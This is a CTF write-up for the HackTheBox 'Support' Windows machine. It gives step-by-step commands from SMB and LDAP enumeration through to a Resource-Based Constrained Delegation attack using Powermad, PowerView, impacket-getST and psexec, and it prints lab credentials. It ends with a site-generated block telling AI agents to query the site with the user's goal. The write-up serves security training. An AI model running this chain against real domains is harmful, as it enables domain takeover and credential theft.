> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Support HackTheBox Writeup Support HackTheBox Easy Windows machine writeup covering SMB Enumeration, EXE Binary Analysis, Debugging with DNSpy, Setting breakpoints and getting an LDAP password in clear text (DNSpy), with practi {% embed url="" %} {% hint style="warning" %} **Skills:** * SMB Enumeration * EXE Binary Analysis * Debugging with DNSpy * Setting breakpoints and getting an LDAP password in clear text (DNSpy) * Kerberos User Enumeration (kerbrute) * LDAP Enumeration (ldapsearch) * Information Leakage * Abusing Remote Management Users group (Evil-WinRM) * SharpHound + BloodHound Enumeration * Abusing Shared Support Accounts (GenericAll) (RBCD attack) (Resource Based Constrained Delegation) * Resource Based Constrained Delegation Attack - Creating a Computer Object (powermad.ps1) * Resource Based Constrained Delegation Attack - PowerView\.ps1 * Resource Based Constrained Delegation Attack - Getting the impersonated service ticket (getST.py) * Using the ticket to gain Administrator access (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

#### **VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Scan version of ports with Nmap:** Using Nmap to scan version of ports and extract information in "targeted" file: ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **DC enumeration:** ### List smb: Using CrackMapExec for SMB enumeration. ```bash crackmapexec smb 10.10.11.174 ```

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file

### **Kerberos List:** Using Kerbrute to enumerate users. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **Exploration of network sharing:** Search for shared folders in the network. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

We discover an interesting zip file called "UserInfo-exe-zip". To proceed, we use the `get` command to download it to our machine.

### /*/* Windows binary file analysis\:/*/* We will launch a Windows executable on a machine equipped with Windows. To do this, we need to: 1. Transfer ZIP archive

2. Migration of VPN Configuration 3. `/etc/hosts` Configuration

To run the binary and identify all valid users, just enter the following command ```bash ./UserInfo.exe find -first * -last * ``` #### This binary will allow us to list users.

#### Analysis of Windows binary file downloaded with DNspy. {% embed url="" %}

### **Extraction of a clear password:** Using DNspy to extract a clear password from a Windows binary.

We will run the program, but we will pause only in the section where the text is clear.

Here is the LDAP password:

### **LDAP password verification:** Checking the password extracted with CrackMapExec. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### List of domain: ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### Domain users ``` enumdomusers ```

#### Domain groups ```bash enumdomgroups ```

#### User Descriptions: ```bash querydispinfo ```

#### Insert all valid domain users into a file. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### We will now check whether the LDAP password is reused for one of the following users: ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` However, this does not work.

### **LDPA listing:** {% embed url="" %} #### Using LDAP search to enumerate information. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### A lot of data is available, however, by applying a filter on the song information, a password for the support user is discovered. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **Exploitation:** #### Use CrackMapExec to confirm the password associated with the support account. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` This user is part of the remote management user group, allowing us to connect via Windows Remote Management (WinRM). ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Use of Evil-WinRM:** Connect to the target system via Evil-WinRM using the identified information obtained.

## Privilege Escalation ### **Review of current privileges:**
Using the `whoami /priv` command to check user privileges, without success.

### **Analysis of membership groups:** Using the `net user support` command to inspect the groups to which the user belongs. Discovery of an apparently rare group, "shared support accounts".

### **Use of BloodHound for Privilege Analysis:** #### Using BloodHound tool to map access relationships. {% embed url="" %}

### **SharpHound execution for further analysis:** Using SharpHound, a tool complementary to BloodHound, to collect additional data on access relationships. ```powershell ./SharpHound.exe -c All ```

## Vulnerability Resource Based Constrained Delegation Attack: {% embed url="" %} ### **Vulnerability identification Resource Based Constrained Delegation Attack:**

#### Deployment of the Powermad script to create a machine account. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### Using PowerView to check machine account creation. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### Definition of authorizations for the machine account using PowerShell commands. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### With this command, we check whether the entire 'Get-DomainComputer dc' procedure works using the 'msds-allowedtoactonbehalfofather identity' properties.'

### **Exploitation of vulnerability** #### Using the Impacket tool to execute the `getST` command to get a TGT ticket that impersons the Administrator user. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### Configure the Administrator Kerberos environment by exporting `KRB5CCNAME`, then connect to the target system using Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### Final Flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.